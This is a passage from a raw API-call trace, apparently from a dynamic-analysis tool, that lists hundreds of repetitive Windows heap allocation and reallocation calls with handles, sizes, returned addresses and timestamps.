RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x64) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e75d8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x68) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e75f8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x6c) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7618 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x70) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7638 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x74) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7658 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x78) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7678 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x7c) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7698 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x80) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e76b8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x84) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e76d8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x88) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e76f8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x8c) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7718 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x90) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7738 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x94) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7758 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x98) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7778 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x9c) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7798 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xa0) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e77b8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xa4) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e77d8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xa8) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e77f8 [0030.425] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xac) returned 0x8e7ba0 [0030.425] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7818 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xb0) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7838 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xb4) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7858 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xb8) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7878 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xbc) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7898 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xc0) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e78b8 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xc4) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e78d8 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xc8) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e78f8 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0xcc) returned 0x8e7ba0 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7918 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a58, Size=0x30) returned 0x8e6a58 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7938 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e6a28 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7958 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0x8) returned 0x8e6a28 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7978 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e7378 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7998 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x8) returned 0x8e7378 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e79b8 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0xc) returned 0x8e7378 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e79d8 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x10) returned 0x8e7378 [0030.426] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e79f8 [0030.426] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x14) returned 0x8e7378 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7a18 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x18) returned 0x8e7378 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7a38 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x1c) returned 0x8e7378 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7a58 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x20) returned 0x8e7378 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7a78 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x24) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7a98 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x28) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7ab8 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x2c) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7ad8 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x30) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7af8 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x34) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7b18 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x38) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7b38 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x3c) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7b58 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x40) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7b78 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x44) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7ce0 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x48) returned 0x8e7c78 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7d00 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x4c) returned 0x8e84c8 [0030.427] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7d20 [0030.427] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x50) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7d40 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x54) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7d60 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x58) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7d80 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x5c) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7da0 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x60) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7dc0 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x64) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7de0 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x68) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7e00 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x6c) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7e20 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x70) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7e40 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x74) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7e60 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x78) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7e80 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x7c) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7ea0 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x80) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7ec0 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x84) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7ee0 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x88) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7f00 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x8c) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7f20 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x90) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7f40 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x94) returned 0x8e84c8 [0030.428] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7f60 [0030.428] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x98) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7f80 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x9c) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7fa0 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xa0) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7fc0 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xa4) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7fe0 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xa8) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8000 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xac) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8020 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xb0) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8040 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xb4) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8060 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xb8) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8080 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xbc) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e80a0 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xc0) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e80c0 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xc4) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e80e0 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xc8) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8100 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xcc) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8120 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xd0) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8140 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xd4) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8160 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xd8) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8180 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xdc) returned 0x8e84c8 [0030.429] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e81a0 [0030.429] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xe0) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e81c0 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xe4) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e81e0 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xe8) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8200 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xec) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8220 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xf0) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8240 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xf4) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8260 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xf8) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8280 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0xfc) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e82a0 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x100) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e82c0 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x104) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e82e0 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e84c8, Size=0x108) returned 0x8e84c8 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8300 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0xc) returned 0x8e7378 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8320 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e6a28 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8340 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0x8) returned 0x8e6a28 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8360 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0xc) returned 0x8e7c78 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8380 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x10) returned 0x8e7c78 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e83a0 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x14) returned 0x8e7c78 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e83c0 [0030.430] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x18) returned 0x8e7c78 [0030.430] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e83e0 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x1c) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8400 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x20) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8420 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x24) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8440 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x28) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8460 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x2c) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8480 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x30) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e84a0 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x34) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e85f0 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x38) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8610 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x3c) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8630 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x40) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8650 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x44) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8670 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x48) returned 0x8e7c78 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8690 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7c78, Size=0x4c) returned 0x8e8dd8 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e86b0 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x50) returned 0x8e8dd8 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e86d0 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x54) returned 0x8e8dd8 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e86f0 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x58) returned 0x8e8dd8 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e8710 [0030.431] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e8dd8, Size=0x5c) returned 0x8e8dd8 [0030.431] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, 